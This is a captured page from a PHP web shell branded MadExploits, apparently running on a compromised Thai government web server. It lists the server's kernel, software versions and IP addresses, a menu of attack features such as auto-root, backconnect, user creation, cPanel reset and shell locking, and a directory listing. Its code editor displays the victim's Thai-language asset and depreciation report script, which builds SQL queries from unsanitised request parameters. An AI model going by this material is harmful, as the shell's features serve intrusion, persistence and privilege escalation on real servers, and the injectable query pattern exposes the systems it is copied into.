Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
asset /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
asset.php
89.73
KB
-rw-r--r--
asset_budget_type.php
6.99
KB
-rw-r--r--
asset_building.php
7.37
KB
-rw-r--r--
asset_code_model.php
7.75
KB
-rw-r--r--
asset_company.php
9.95
KB
-rw-r--r--
asset_form_upload.php
4.74
KB
-rw-r--r--
asset_list.php
12.23
KB
-rw-r--r--
asset_method.php
6.91
KB
-rw-r--r--
asset_notification.php
38.37
KB
-rw-r--r--
asset_permission.php
13.12
KB
-rw-r--r--
asset_print.php
9.88
KB
-rw-r--r--
asset_print1.php
8.43
KB
-rw-r--r--
asset_print_lend.php
3.49
KB
-rw-r--r--
asset_print_lend1.php
9.59
KB
-rw-r--r--
asset_print_lend2.php
8.85
KB
-rw-r--r--
asset_print_lendAll.php
3.27
KB
-rw-r--r--
asset_print_lendAll1.php
9.84
KB
-rw-r--r--
asset_print_qrcode.php
10.28
KB
-rw-r--r--
asset_print_qrcode1.php
1.45
KB
-rw-r--r--
asset_report1.php
20
KB
-rw-r--r--
asset_report23.php
20.09
KB
-rw-r--r--
asset_report4.php
19.76
KB
-rw-r--r--
asset_report_to_excell.php
6.54
KB
-rw-r--r--
asset_set.php
8.43
KB
-rw-r--r--
asset_status3.php
85.25
KB
-rw-r--r--
asset_status40.php
85.27
KB
-rw-r--r--
asset_type.php
9.5
KB
-rw-r--r--
index.php
5.76
KB
-rw-r--r--
livesearch.php
2.11
KB
-rw-r--r--
livesearch_notification.php
954
B
-rw-r--r--
manual.php
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : asset_report23.php
<script type="text/javascript" src="css/scrolltop/scrolltopcontrol.js"></script> <?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); //sd page require_once("include/time_inc.php"); $officer=$_SESSION['login_user_id']; //ส่วนแสดงผล if( ! ($index=='print') ){ echo "<br>"; echo "<center><font color='#006666' size='3'><strong>รายงาน ทรัพย์สินและค่าเสื่อมราคา สถานะ : <img src='images/my-icons/service-2.png' width='32' height='32' ALIGN=ABSMIDDLE> ยืม <img src='images/my-icons/service-3.png' width='32' height='32' ALIGN=ABSMIDDLE> โอน</strong></font></center>"; echo "<br>"; if($workgroup!=''){ $sql = "SELECT * FROM asset_main WHERE workgroup='$workgroup' AND status BETWEEN '2' and '3' ORDER BY id "; }else if( ($code_type!='') AND ($code_list!='') ){ $sql = "SELECT * FROM asset_main WHERE code_type='$code_type' AND code_list='$code_list' AND status BETWEEN '2' and '3' ORDER BY id "; }else if($code_type!=''){ $sql = "SELECT * FROM asset_main WHERE code_type='$code_type' AND status BETWEEN '2' and '3' ORDER BY id "; }else if($code_set!=''){ $sql = "SELECT * FROM asset_main WHERE code_set='$code_set' AND status BETWEEN '2' and '3' ORDER BY id "; }else{ $sql = "SELECT * FROM asset_main WHERE status BETWEEN '2' and '3' ORDER BY id "; } $dbquery = mysqli_query($connect,$sql); $num_rows=mysqli_num_rows($dbquery); //นำไปแยกหน้า if($num_rows!='0'){ //ส่วนของการแยกหน้า $pagelen=50 ; // 1.กำหนดแถวต่อหน้า $url_link="option=asset&task=main/asset_report23"; // 2_กำหนดลิงค์ฺ $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<7)){ //echo "<div align=center>"; //echo "หน้า "; echo "<nav><ul class='pagination'>"; echo "<li><a>หน้า $page จาก $totalpages</a></li>"; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ //echo "[<b><font size=+1 color=#990000>$i</font></b>]"; echo " <li><a href=''><font color=#990000>$i</font></a></li> "; } else { //echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; echo "<li><a href=$PHP_SELF?$url_link&page=$i> $i </a></li>"; } } //echo "</div>"; echo "</nav>"; } if($totalpages>6){ if($page <=3){ $e_page=6; $s_page=1; } if($page>3){ if($totalpages-$page>=3){ $e_page=$page+3; $s_page=$page-3; } else{ $e_page=$totalpages; $s_page=$totalpages-6; } } //echo "<div align=center>"; echo "<nav><ul class='pagination'>"; echo "<li><a>หน้า $page จาก $totalpages</a></li>"; if($page!=1){ $f_page1=$page-1; //echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; //echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; echo "<li><a href=$PHP_SELF?$url_link&page=1 aria-label='หน้าแรก'> <span aria-hidden='true'>หน้าแรก</span></a></li>"; echo "<li><a href=$PHP_SELF?$url_link&page=$f_page1 aria-label='หน้าก่อน'> <span aria-hidden='true'>หน้าก่อน</span></a></li>"; } else { //echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ //echo "[<b><font size=+1 color=#990000>$i</font></b>]"; echo " <li><a href=''><font color=#990000><strong>$i</strong></font></a></li> "; } else { //echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; echo "<li><a href=$PHP_SELF?$url_link&page=$i>$i</a></li>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<li><a href=$PHP_SELF?$url_link&page=$f_page2 aria-label='หน้าถัดไป'> <span aria-hidden='true'>หน้าถัดไป</span></a></li>"; echo "<li><a href=$PHP_SELF?$url_link&page=$totalpages aria-label='หน้าสุดท้าย'> <span aria-hidden='true'>หน้าสุดท้าย>$totalpages</span></a></li>"; //echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; //echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; //echo "</div>"; echo "</nav>"; } //จบแยกหน้า if($workgroup!=''){ $sql = "SELECT * FROM asset_main WHERE workgroup='$workgroup' AND status BETWEEN '2' and '3' ORDER BY id limit $start,$pagelen"; }else if( ($code_type!='') AND ($code_list!='') ){ $sql = "SELECT * FROM asset_main WHERE code_type='$code_type' AND code_list='$code_list' AND status BETWEEN '2' and '3' ORDER BY id limit $start,$pagelen"; }else if($code_type!=''){ $sql = "SELECT * FROM asset_main WHERE code_type='$code_type' AND status BETWEEN '2' and '3' ORDER BY id limit $start,$pagelen"; }else if($code_set!=''){ $sql = "SELECT * FROM asset_main WHERE code_set='$code_set' AND status BETWEEN '2' and '3' ORDER BY id limit $start,$pagelen"; }else{ $sql = "SELECT * FROM asset_main WHERE status BETWEEN '2' and '3' ORDER BY id limit $start,$pagelen"; } $dbquery = mysqli_query($connect,$sql); } echo "<table class='myTableGreen'>"; echo "<Tr><td colspan='3'> <INPUT TYPE='button' name='smb' value='ดาวน์โหลดไฟล์ Excell' onclick='location.href=\"modules/asset/main/asset_report_to_excell.php?code_type=$code_type&asset_year=$year_active_result[asset_year]&report=1\"'> </td>"; echo "<Td colspan='8' align='right'>ค้นหาประเภททรัพย์สิน "; echo "<Select name='code_type' id='code_type' onChange=location.href='index.php?option=asset&task=main/asset_report23&code_type='+this.options[this.selectedIndex].value;>"; echo "<option value=''>เลือก - ทุกประเภท</option>" ; $sql_type = "SELECT * FROM asset_type ORDER BY code"; $dbquery_type = mysqli_query($connect,$sql_type); While ($result_type = mysqli_fetch_array($dbquery_type)){ $code_type = $result_type['code']; $name_type = $result_type['name']; if($code_type==$_GET['code_type']){ echo "<option value='$code_type' selected>$code_type $name_type</option>" ; }else{ echo "<option value='$code_type'>$code_type $name_type</option>" ; } } echo "</select>"; echo " <INPUT TYPE='button' name='smb' value='ยกเลิกการค้นหา' onclick='location.href=\"?option=asset&task=main/asset_report23\"'>"; echo "</Td></Tr>"; echo "<Tr> <Th>ที่</Th> <Th>วัน เดือน ปี</Th> <Th>รหัสทรัพย์สิน</Th> <Th>รายการ</Th> <Th>ผู้ขาย/ผู้รับจ้าง/ผู้บริจาค</Th> <Th nowrap>จำนวน</Th> <Th nowrap>ราคา</Th> <Th nowrap>มูลค่ารวม</Th> <Th nowrap>อายุการใช้งาน/<br>อัตราค่าเสื่อมราคา</Th> <Th nowrap>สถานที่ตั้ง</Th> <Th nowrap>สถานะ</Th> </Tr>"; if($num_rows!='0'){ $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id =$result['id']; $code_type =$result['code_type']; $code_list =$result['code_list']; $code_asset =$result['code_asset']; $company_id =$result['company_id']; $asset_date =thai_date_3($result['asset_date']); //แสดงรูปแบบวันที่ Y-m-d เป็นวันที่ไทย $unit =$result['unit']; $price =$result['price']; $cost =$unit * $price; $officer_person = $result['officer_person']; echo "<Tr>"; echo "<td align=center valign=top>$M</td>"; echo "<td align=center valign=top nowrap>$asset_date</td>"; echo "<td align=center valign=top nowrap>".$code_asset."<br>"; echo "<a src='$result[photo]'><img src='$result[photo]' width=100></a>"; echo "</td>"; $code_set =$result['code_set']; if($code_set != ''){ $sql_set="SELECT * FROM asset_set WHERE code='$code_set' "; $dbquery_set=mysqli_query($connect, $sql_set); $result_set=mysqli_fetch_array($dbquery_set); $set_name=$result_set['name']; $set="<br>ชุด/กลุ่ม <a href='?option=asset&task=main/asset_report23&code_set=$code_set'>".$result_set['name']."</a>"; }else{ $set=''; } $sql_list = "SELECT * FROM asset_list WHERE code_type='$code_type' AND code='$code_list' "; $dbquery_list = mysqli_query($connect,$sql_list); $result_list = mysqli_fetch_array($dbquery_list); $list="<a href='?option=asset&task=main/asset_report23&code_type=$code_type&code_list=$code_list'>".$result_list['name']."</a>"; if($result['model']!=''){ $list=$list."<br><font color=gray>รุ่น/แบบ</font> ".$result['model'] ; } if($result['property']!=''){ $list=$list."<br><font color=gray>คุณสมบัติ</font> ".$result['property']; } echo "<td valign=top>".$list."".$set."</td>"; $sql_type = "SELECT * FROM asset_type WHERE code='$code_type' "; $dbquery_type = mysqli_query($connect,$sql_type); $result_type = mysqli_fetch_array($dbquery_type); $life=$result_type['life']; $depreciation_rate=$result_type['depreciation_rate']; $sql_company = "SELECT * FROM asset_company WHERE id='$company_id' "; $dbquery_company = mysqli_query($connect,$sql_company); $result_company = mysqli_fetch_array($dbquery_company); echo "<td valign=top>".$result_company['name']."</td>"; echo "<td align=center valign=top nowrap>".$unit."</td>"; echo "<td align=right valign=top nowrap>".number_format($price, 2)."</td>"; echo "<td align=right valign=top nowrap>".number_format($cost, 2)."</td>"; echo "<td align=center valign=top nowrap>".$life." ปี / ".$depreciation_rate."%</td>"; $workgroup =$result['workgroup']; if($workgroup=='0'){ $workgroup_desc=$office_name; } $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$workgroup' "; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup = mysqli_fetch_array($dbquery_workgroup); $workgroup_desc=$result_workgroup['workgroup_desc']; $workgroup_descx=Strlen($workgroup_desc); if ( $workgroup_descx > 100 ){ $dot = ".."; }else{ $dot = ""; } $workgroup_desc=substr($workgroup_desc,0,100)."".$dot; $status =$result['status']; switch ($status){ case 1 : $status_name="ใช้งาน"; $status_link="<a href='?option=asset&task=main/asset_notification&index=1&id=$id'><img src='images/iconOBEC/icon-service-repair.png' width=22 height=22 alt='แจ้งซ่อม' title='แจ้งซ่อม'></a>"; break; case 2 : $status_name="ยืม"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='ยืม' title='ยืม'>"; break; case 3 : $status_name="โอน"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='โอน' title='โอน'>"; break; case 4 : $status_name="จำหน่าย"; $status_link=""; break; case 10 : $status_name="<font color=red>ส่งงานซ่อมบำรุง</font>"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='ส่งงานซ่อมบำรุง' title='ส่งงานซ่อมบำรุง'>"; break; case 40 : $status_name="<font color=red>รอจำหน่าย</font>"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='รอจำหน่าย' title='รอจำหน่าย'>"; break; } echo "<td align=center valign=top><a href='?option=asset&task=main/asset_report23&workgroup=$workgroup'>".$workgroup_desc."</a></td>"; echo "<td valign=top nowrap>".$status_name."</Td>"; echo "</Tr>"; $M++; } } echo "</table>"; } ///////////////////////////// แก้ไขเปลี่ยนเป็น Download เป็นไฟล์ Excell if($index=='print'){ $sql_type = "SELECT * FROM asset_type WHERE code='$code_type' "; $dbquery_type = mysqli_query($connect,$sql_type); $result_type = mysqli_fetch_array($dbquery_type); $code_type = $result_type['code']; $name_type = $result_type['name']; if($code_type==''){ $title = "รายงาน ทรัพย์สินและค่าเสื่อมราคา<br>ทรัพยสิน - ทุกประเภท"; }else{ $title = "รายงาน ทรัพย์สินและค่าเสื่อมราคา<br>ทรัพย์สินประเภท - ".$name_type." (".$code_type.")"; } if($workgroup!=''){ $sql = "SELECT * FROM asset_main WHERE workgroup='$workgroup' AND status BETWEEN '2' and '3' ORDER BY id "; }else if( ($code_type!='') AND ($code_list!='') ){ $sql = "SELECT * FROM asset_main WHERE code_type='$code_type' AND code_list='$code_list' AND status BETWEEN '2' and '3' ORDER BY id "; }else if($code_type!=''){ $sql = "SELECT * FROM asset_main WHERE code_type='$code_type' AND status BETWEEN '2' and '3' ORDER BY id "; }else if($code_set!=''){ $sql = "SELECT * FROM asset_main WHERE code_set='$code_set' AND status BETWEEN '2' and '3' ORDER BY id "; }else{ $sql = "SELECT * FROM asset_main WHERE status BETWEEN '2' and '3' ORDER BY id "; } $dbquery = mysqli_query($connect,$sql); $row_num=mysqli_num_rows($dbquery); $col_num='14'; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); // ให้ขึ้นดาวน์โหลด header("Content-Type: application/octet-stream"); header("Content-Type: application/download");; header("Content-Disposition: attachment;filename=data.xls "); // กำหนดชื่อไฟล์ echo '<?xml version="1.0" encoding="utf-8"?>'; echo'<?mso-application progid="Excel.Sheet"?>'; ?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <Styles> <Style ss:ID="Default" ss:Name="Normal"> <Alignment ss:Vertical="Bottom"/> <Borders/> <Font x:CharSet="222"/> <Interior/> <NumberFormat/> <Protection/> </Style> </Styles> <Worksheet ss:Name="<?=$title?>"> <Table ss:ExpandedColumnCount="<?=$col_num?>" ss:ExpandedRowCount="<?=$row_num+1?>" x:FullColumns="1" x:FullRows="1"> <Row> <Cell><Data ss:Type="String">ที่</Data></Cell> <Cell><Data ss:Type="String">วัน เดือน ปี</Data></Cell> <Cell><Data ss:Type="String">รหัสทรัพย์สิน</Data></Cell> <Cell><Data ss:Type="String">ประเภท</Data></Cell> <Cell><Data ss:Type="String">ชนิด</Data></Cell> <Cell><Data ss:Type="String">คุณสมบัติ/ลักษณะ</Data></Cell> <Cell><Data ss:Type="String">ผู้ขาย/ผู้รับจ้าง/ผู้บริจาค</Data></Cell> <Cell><Data ss:Type="String">จำนวน</Data></Cell> <Cell><Data ss:Type="String">ราคา</Data></Cell> <Cell><Data ss:Type="String">มูลค่ารวม</Data></Cell> <Cell><Data ss:Type="String">อายุการใช้งาน</Data></Cell> <Cell><Data ss:Type="String">อัตราค่าเสื่อมราคา</Data></Cell> <Cell><Data ss:Type="String">สถานที่ตั้ง</Data></Cell> <Cell><Data ss:Type="String">สถานะ</Data></Cell> </Row> <?php While ($result = mysqli_fetch_array($dbquery)) { $id =$result['id']; $code_type =$result['code_type']; $code_list =$result['code_list']; $code_asset =$result['code_asset']; $company_id =$result['company_id']; $asset_date =thai_date_3($result['asset_date']); //แสดงรูปแบบวันที่ Y-m-d เป็นวันที่ไทย $unit =$result['unit']; $price =$result['price']; $cost =$unit * $price; $officer_person = $result['officer_person']; $sql_list = "SELECT * FROM asset_list WHERE code_type='$code_type' AND code='$code_list' "; $dbquery_list = mysqli_query($connect,$sql_list); $result_list = mysqli_fetch_array($dbquery_list); $list="".$result_list['name']." ".$result['property'] ; $sql_type = "SELECT * FROM asset_type WHERE code='$code_type' "; $dbquery_type = mysqli_query($connect,$sql_type); $result_type = mysqli_fetch_array($dbquery_type); $life=$result_type['life']; $depreciation_rate=$result_type['depreciation_rate']; $sql_company = "SELECT * FROM asset_company WHERE id='$company_id' "; $dbquery_company = mysqli_query($connect,$sql_company); $result_company = mysqli_fetch_array($dbquery_company); $workgroup =$result['workgroup']; if($workgroup=='0'){ $workgroup_desc=$office_name; } $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$workgroup' "; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup = mysqli_fetch_array($dbquery_workgroup); $workgroup_desc=$result_workgroup['workgroup_desc']; $workgroup_descx=Strlen($workgroup_desc); if ( $workgroup_descx > 100 ){ $dot = ".."; }else{ $dot = ""; } $workgroup_desc=substr($workgroup_desc,0,100)."".$dot; $status =$result['status']; switch ($status){ case 1 : $status_name="ใช้งาน"; $status_link="<img src='images/iconOBEC/icon-service-repair.png' width=22 height=22 alt='แจ้งซ่อม' title='แจ้งซ่อม'></a>"; break; case 2 : $status_name="ยืม"; $status_name="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='ยืม' title='ยืม'>"; break; case 3 : $status_name="โอน"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='โอน' title='โอน'>"; break; case 4 : $status_name="จำหน่าย"; $status_link=""; break; case 10 : $status_name="<font color=red>ส่งงานซ่อมบำรุง</font>"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='ส่งงานซ่อมบำรุง' title='ส่งงานซ่อมบำรุง'>"; break; case 40 : $status_name="<font color=red>รอจำหน่าย</font>"; $status_link="<img src='images/iconOBEC/icon-service-detail.png' width=22 height=22 alt='รอจำหน่าย' title='รอจำหน่าย'>"; break; } ?> <Row> <Cell><Data ss:Type="Number"><?=$id?></Data></Cell> <Cell><Data ss:Type="String"><?=$asset_date?></Data></Cell> <Cell><Data ss:Type="String"><?=$code_asset?></Data></Cell> <Cell><Data ss:Type="String"><?=$list?></Data></Cell> <Cell><Data ss:Type="String"><?=$result_company['name']?></Data></Cell> <Cell><Data ss:Type="Number"><?=$unit?></Data></Cell> <Cell><Data ss:Type="Number"><?=$price?></Data></Cell> <Cell><Data ss:Type="Number"><?=$code?></Data></Cell> <Cell><Data ss:Type="Number"><?=$life?></Data></Cell> <Cell><Data ss:Type="Number"><?=$depreciation_rate?></Data></Cell> <Cell><Data ss:Type="Number"><?=$workgroup_desc?></Data></Cell> <Cell><Data ss:Type="Number"><?=$status_name?></Data></Cell> </Row> <?php } ?> </Table> <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> <Selected/> <ProtectObjects>False</ProtectObjects> <ProtectScenarios>False</ProtectScenarios> </WorksheetOptions> </Worksheet> </Workbook> <?php } ?>
Close
